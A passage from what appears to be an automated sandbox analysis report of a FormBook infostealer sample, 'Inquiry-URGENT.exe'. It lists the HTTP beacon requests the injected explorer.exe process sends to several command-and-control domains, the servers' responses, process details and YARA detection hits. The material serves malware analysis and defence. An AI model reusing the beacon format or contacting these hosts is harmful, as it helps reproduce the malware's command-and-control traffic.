lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49818	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 17:55:17.685591936 CEST	5866	OUT	GET /b5ce/?7nqLWRV0=wzjkW/L/N1XOH+XSD0678S8O9bVA9y0oVtkfQbp3MHT7u8jt+16wQlgR8fjrLlP4MYPZ&DJE8X=4hlh3 HTTP/1.1 Host: www.apexpropertiesltd.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2021 17:55:17.866120100 CEST	5866	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Mon, 27 Sep 2021 15:55:17 GMT Content-Type: text/html Content-Length: 275 ETag: "614a6c08-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49819	184.168.131.241	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 17:55:23.105173111 CEST	5867	OUT	GET /b5ce/?7nqLWRV0=4jQHwSxHHIZwFcDn9YyiwFwOuX4cum7XsZ3DkRiOKi2AyYToUWCX9nZ4+Axc57SiIQXe&DJE8X=4hlh3 HTTP/1.1 Host: www.tameka-stewart.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2021 17:55:23.340370893 CEST	5867	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.20.1 Date: Mon, 27 Sep 2021 15:55:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://www.canva.com/design/DAEqGfr3AaI/vRqE8nRm-nYBi3y5_65bMw/view?website#2 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49820	34.252.217.69	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 17:55:28.479546070 CEST	5868	OUT	GET /b5ce/?7nqLWRV0=kNxZIWTQx5nCNlvJonIYbJCBQmvVcT2X1CiQyYZ2pQhuEOz9vrAvmQg2dhGIWbuOnxMp&DJE8X=4hlh3 HTTP/1.1 Host: www.khlopok.club Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2021 17:55:28.520457983 CEST	5869	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 27 Sep 2021 15:55:28 GMT Server: Apache X-Frame-Options: SAMEORIGIN Location: http://khlopok.club/b5ce/?7nqLWRV0=kNxZIWTQx5nCNlvJonIYbJCBQmvVcT2X1CiQyYZ2pQhuEOz9vrAvmQg2dhGIWbuOnxMp&DJE8X=4hlh3 Cache-Control: max-age=86400 Expires: Tue, 28 Sep 2021 15:55:28 GMT Content-Length: 327 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6b 68 6c 6f 70 6f 6b 2e 63 6c 75 62 2f 62 35 63 65 2f 3f 37 6e 71 4c 57 52 56 30 3d 6b 4e 78 5a 49 57 54 51 78 35 6e 43 4e 6c 76 4a 6f 6e 49 59 62 4a 43 42 51 6d 76 56 63 54 32 58 31 43 69 51 79 59 5a 32 70 51 68 75 45 4f 7a 39 76 72 41 76 6d 51 67 32 64 68 47 49 57 62 75 4f 6e 78 4d 70 26 61 6d 70 3b 44 4a 45 38 58 3d 34 68 6c 68 33 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://khlopok.club/b5ce/?7nqLWRV0=kNxZIWTQx5nCNlvJonIYbJCBQmvVcT2X1CiQyYZ2pQhuEOz9vrAvmQg2dhGIWbuOnxMp&DJE8X=4hlh3">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49821	213.5.70.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 17:55:33.664252996 CEST	5870	OUT	GET /b5ce/?7nqLWRV0=DJnvNV/6mp+JehKrIaw09sUOMJEcD/JystEz9B9fnmezvaywTqAFSPdXHnxiLUzhPCdJ&DJE8X=4hlh3 HTTP/1.1 Host: www.tovardarom.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2021 17:55:33.689775944 CEST	5871	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 27 Sep 2021 15:55:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 488 Connection: close Vary: Accept-Encoding ETag: "5f6c8b3c-1e8" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 d0 97 d0 b0 d0 bf d1 80 d0 be d1 81 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 20 d0 b8 d0 bb d0 b8 20 d1 83 d0 b4 d0 b0 d0 bb d0 b5 d0 bd 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 62 72 2f 3e 3c 62 72 2f 3e 3c 62 72 2f 3e 0a 20 20 20 20 20 20 20 20 3c 63 65 6e 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d0 b0 d1 8f 20 d1 81 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 d0 b8 d0 bb d0 b8 20 d1 83 d0 b4 d0 b0 d0 bb d0 b5 d0 bd d0 b0 2e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 3c 2f 63 65 6e 74 65 72 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="ru"> <head> <title>404</title> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta content=" " name="description" /> </head> <body> <br/><br/><br/> <center> <h1> .</h1> </center> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49843	103.100.209.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 17:55:49.292537928 CEST	5933	OUT	GET /b5ce/?7nqLWRV0=WdCn/kPOsGECQ6X5wfp65poK7SwinBwjgfqA8CanQGxQHv6Okf04s3qFBz0DbwV5uzgy&DJE8X=4hlh3 HTTP/1.1 Host: www.lianshangtron.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2021 17:55:49.488394022 CEST	5933	IN	HTTP/1.1 302 Found Date: Mon, 27 Sep 2021 15:55:49 GMT Server: Apache/2.4.43 Location: https://www.lianshangtron.com/index.php?s=b5ce/&7nqLWRV0=WdCn/kPOsGECQ6X5wfp65poK7SwinBwjgfqA8CanQGxQHv6Okf04s3qFBz0DbwV5uzgy&DJE8X=4hlh3 Content-Length: 407 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 61 6e 73 68 61 6e 67 74 72 6f 6e 2e 63 6f 6d 2f 69 6e 64 65 78 2e 70 68 70 3f 73 3d 62 35 63 65 2f 26 61 6d 70 3b 37 6e 71 4c 57 52 56 30 3d 57 64 43 6e 2f 6b 50 4f 73 47 45 43 51 36 58 35 77 66 70 36 35 70 6f 4b 37 53 77 69 6e 42 77 6a 67 66 71 41 38 43 61 6e 51 47 78 51 48 76 36 4f 6b 66 30 34 73 33 71 46 42 7a 30 44 62 77 56 35 75 7a 67 79 26 61 6d 70 3b 44 4a 45 38 58 3d 34 68 6c 68 33 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 33 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6c 69 61 6e 73 68 61 6e 67 74 72 6f 6e 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://www.lianshangtron.com/index.php?s=b5ce/&7nqLWRV0=WdCn/kPOsGECQ6X5wfp65poK7SwinBwjgfqA8CanQGxQHv6Okf04s3qFBz0DbwV5uzgy&DJE8X=4hlh3">here</a>.</p><hr><address>Apache/2.4.43 Server at www.lianshangtron.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49844	74.208.236.139	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 17:55:54.691708088 CEST	5934	OUT	GET /b5ce/?7nqLWRV0=iJSCg4qWtYnzw4GHWivdfaPpYoJ+2S3Wh/71x72UXIcZgXPac3WPQ9rqQY8gaQxsRQ0f&DJE8X=4hlh3 HTTP/1.1 Host: www.nutritionhawks.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2021 17:55:55.071660995 CEST	5935	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Mon, 27 Sep 2021 15:55:54 GMT Server: Apache X-Powered-By: PHP/7.4.23 X-LiteSpeed-Tag: 1a0_HTTP.404 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://nutritionhawks.com/b5ce/?7nqLWRV0=iJSCg4qWtYnzw4GHWivdfaPpYoJ+2S3Wh/71x72UXIcZgXPac3WPQ9rqQY8gaQxsRQ0f&DJE8X=4hlh3 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49845	162.241.61.210	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 17:56:00.387617111 CEST	5936	OUT	GET /b5ce/?7nqLWRV0=6D/QFG40YKklykWOaHa1RXNEJRP+7L8K6Nslrqzy4UJncL0zvFIM5Fri+7k0NXne0nLY&DJE8X=4hlh3 HTTP/1.1 Host: www.trasportesemmanuel.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 27, 2021 17:56:00.801204920 CEST	5937	IN	HTTP/1.1 200 OK Date: Mon, 27 Sep 2021 15:56:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: none Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 65 35 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 69 6e 64 71 75 69 63 6b 72 65 73 75 6c 74 73 6e 6f 77 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 69 6e 64 71 75 69 63 6b 72 65 73 75 6c 74 73 6e 6f 77 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 69 6e 64 71 75 69 63 6b 72 65 73 75 6c 74 73 6e 6f 77 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 53 54 4d 76 4d 55 31 4e 55 58 4e 75 63 7a 67 32 61 6d 5a 4f 56 58 46 32 64 57 31 55 4e 48 56 71 61 47 56 5a 4d 44 6c 32 52 33 68 33 57 48 68 57 52 58 46 49 54 6b 6b 33 52 47 56 6c 4d 54 52 56 65 57 51 32 63 58 64 51 61 30 31 47 54 44 6c 47 63 33 56 49 55 33 5a 4f 53 30 5a 33 62 6b 55 79 64 30 70 46 5a 6c 59 30 53 6b 56 47 53 54 64 76 54 33 59 35 56 58 45 78 54 56 68 76 57 55 5a 53 65 6e 5a 43 5a 32 34 72 56 58 46 70 56 48 5a 76 5a 58 70 57 4f 57 39 45 4c 30 4e 78 56 57 30 7a 4f 47 64 4b 64 6c 46 42 65 45 45 3d 26 62 3d 22 2b 61 62 70 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 6d 67 6c 6f 67 29 3b 69 66 28 74 79 70 65 6f 66 20 61 62 70 65 72 75 72 6c 20 21 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 20 26 26 20 61 62 70 65 72 75 72 6c 21 3d 22 22 29 77 69 6e 64 6f 77 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 61 62 70 65 72 75 72 6c 3b 7d 63 61 74 63 68 28 65 72 72 29 7b 7d 7d 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 69 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 61 3d 27 31 33 30 31 37 27 20 62 3d 27 31 35 30 34 35 27 20 63 3d 27 74 72 61 73 70 6f 72 74 65 73 65 6d 6d 61 6e 75 65 6c 2e 63 6f 6d 27 20 64 3d 27 65 6e 74 69 74 79 5f 6d 61 70 70 65 64 27 22 20 2f 3e 3c 74 69 74 6c 65 3e 54 72 61 73 70 6f 72 74 65 73 65 6d 6d 61 6e 75 65 6c 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d Data Ascii: 3e56<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://findquickresultsnow.com/px.js?ch=1"></script><script type="text/javascript" src="http://findquickresultsnow.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://findquickresultsnow.com/sk-logabpstatus.php?a=STMvMU1NUXNuczg2amZOVXF2dW1UNHVqaGVZMDl2R3h3WHhWRXFITkk3RGVlMTRVeWQ2cXdQa01GTDlGc3VIU3ZOS0Z3bkUyd0pFZlY0SkVGSTdvT3Y5VXExTVhvWUZSenZCZ24rVXFpVHZvZXpWOW9EL0NxVW0zOGdKdlFBeEE=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "undefined" && abperurl!="")window.top.location=abperurl;}catch(err){}}</script><meta name="tids" content="a='13017' b='15045' c='trasportesemmanuel.com' d='entity_mapped'" /><title>Trasportesemmanuel.com</title><m
Sep 27, 2021 17:56:00.802794933 CEST	5939	IN	Data Raw: 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 Data Ascii: eta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><style type="text/css">@font-face {font-family: "ubuntu-r";src: url("http://i1.cdn-imag
Sep 27, 2021 17:56:00.804419994 CEST	5940	IN	Data Raw: 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 2c 75 72 6c 28 22 68 74 74 70 3a 2f 2f 69 31 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 75 62 75 6e 74 75 2d 62 2f 75 62 75 6e 74 75 2d 62 Data Ascii: format("truetype"),url("http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.otf") format("opentype"),url("http://i1.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.svg#ubuntu-b") format("svg");font-weight: normal;font-style: normal;}
Sep 27, 2021 17:56:00.805241108 CEST	5941	IN	Data Raw: 6c 61 73 74 2c 20 2e 72 65 6c 61 74 65 64 2d 73 65 61 72 63 68 65 73 20 75 6c 2e 6c 61 73 74 7b 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 0d 0a 23 6c 61 73 74 55 4c 7b 6d 61 72 67 69 6e 3a 20 30 7d 0d 0a 2e 70 6f 70 75 6c 61 72 2d 73 65 Data Ascii: last, .related-searches ul.last{ border-bottom:0}#lastUL{margin: 0}.popular-searches ul.first li{ margin-bottom: 10px;-webkit-text-size-adjust: 100%;color: #ffffff;text-align: left;word-wrap: break-word; background:#232a33 url(http://i1.c
Sep 27, 2021 17:56:00.805265903 CEST	5943	IN	Data Raw: 78 20 31 35 70 78 20 36 35 70 78 3b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 7d 0d 0a 2e 77 65 62 73 69 74 65 20 69 6d 67 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 32 70 78 7d 0d 0a 2e 6c 6f 67 6f Data Ascii: x 15px 65px;display: block;}.website img{float: left;padding-right: 12px}.logo{float: right;padding-top: 12px}.header{margin: 0px 0 0px 0;background-color: #161d27;padding: 20px 0;}.footer {text-align:center; color:#ccc; width:100%;
Sep 27, 2021 17:56:00.805289030 CEST	5944	IN	Data Raw: 69 67 68 74 3a 20 33 38 70 78 3b 20 6f 75 74 6c 69 6e 65 3a 20 6d 65 64 69 75 6d 20 6e 6f 6e 65 3b 20 77 69 64 74 68 3a 20 33 38 70 78 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 Data Ascii: ight: 38px; outline: medium none; width: 38px;-webkit-appearance:none;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;text-transform: uppercase;}.custom-msg { text-align: center;background-color: #fff;}div#optOutLin
Sep 27, 2021 17:56:00.805313110 CEST	5946	IN	Data Raw: 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 7d 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 36 70 78 29 20 7b 0d 0a 20 20 20 20 23 6d 61 69 6e 7b 77 69 64 74 Data Ascii: ding-right: 15px}}@media only screen and (max-width:776px) { #main{width: 90%!important;margin: 0px auto;padding-bottom: 0px;} .website{width: 45%;} .website .domain{font-size: 22px;padding-top: 18px} /*.popular-searc
Sep 27, 2021 17:56:00.805336952 CEST	5947	IN	Data Raw: 74 61 6e 74 7d 0d 0a 2e 64 79 6e 61 6d 69 63 2d 63 6f 6e 74 65 6e 74 7b 70 61 64 64 69 6e 67 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 0d 0a 0d 0a 23 74 72 61 64 65 6d 61 72 6b 2d 66 6f 6f 74 65 72 20 7b 70 61 64 64 69 6e 67 3a 20 31 35 Data Ascii: tant}.dynamic-content{padding: 0 !important}#trademark-footer {padding: 15px 0; text-align: center; font-size: 12px; background-color:#232a33;margin-bottom: 20px}/.footerwrap {width: 960px; margin: 0px auto; }//*.foottxt {width:
Sep 27, 2021 17:56:00.805360079 CEST	5948	IN	Data Raw: 73 22 3e 3c 66 6f 72 6d 20 6e 61 6d 65 3d 22 66 72 6d 53 70 6f 6e 73 41 64 73 22 20 69 64 3d 22 66 72 6d 53 70 6f 6e 73 41 64 73 22 20 6d 65 74 68 6f 64 3d 22 67 65 74 22 20 61 63 74 69 6f 6e 3d 22 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e Data Ascii: s"><form name="frmSponsAds" id="frmSponsAds" method="get" action="" target="_top"><input type="hidden" name="params" id="params" /></form></div> <div class="clearfix header"> <div class="main-container"> <div clas
Sep 27, 2021 17:56:00.805382967 CEST	5950	IN	Data Raw: 4c 30 4e 68 56 31 6c 57 54 45 78 57 61 44 4e 6b 4f 57 74 34 54 54 4a 79 5a 7a 46 55 64 56 56 55 55 55 68 4e 4c 31 46 4c 57 55 52 4b 65 45 31 69 54 56 6b 79 4c 30 4e 31 54 47 39 55 4d 43 74 6b 56 54 6c 54 51 30 64 6f 4d 54 52 4e 62 33 64 4f 4c 32 Data Ascii: L0NhV1lWTExWaDNkOWt4TTJyZzFUdVVUUUhNL1FLWURKeE1iTVkyL0N1TG9UMCtkVTlTQ0doMTRNb3dOL2Jib1BXNHM3TUNNRVJDRkhKNUhURThWU3l4YmJSaXE4ZWtFSEVvRHhlU1MyMGV5NkI0ND0%3D" /></form> </div> </div> </div> </
Sep 27, 2021 17:56:00.946299076 CEST	5951	IN	Data Raw: 6d 46 4f 31 4e 71 51 34 70 50 72 73 33 76 36 70 43 44 51 78 39 79 37 77 73 61 4a 64 6d 51 4c 4f 38 57 44 39 57 4a 46 33 38 49 72 50 71 31 47 37 6f 42 70 72 54 41 7a 51 71 32 72 36 32 58 43 32 69 46 48 57 38 59 52 30 6e 31 48 68 6f 37 69 61 37 75 Data Ascii: mFO1NqQ4pPrs3v6pCDQx9y7wsaJdmQLO8WD9WJF38IrPq1G7oBprTAzQq2r62XC2iFHW8YR0n1Hho7ia7ufabBfim2RvR2RvHEt46dovaaLdcClatjiznqnWZ2bY6rUJsvt%2FNhobLlYvikAW%2BNBQdzW4UcdCyUWI5NFCxWNbvXMiO%2F5U%2F3XJ9zDDo%2B%2Bl%2FqGjT1X5dP6bG0eCUA%3D%3D&kbetu=1&kld=1042

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Inquiry-URGENT.exe PID: 6760 Parent PID: 5396

General

Start time:	17:53:57
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\Inquiry-URGENT.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Inquiry-URGENT.exe'
Imagebase:	0x710000
File size:	443904 bytes
MD5 hash:	001127EA6A36D3B93E8C54FF1B8F22B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 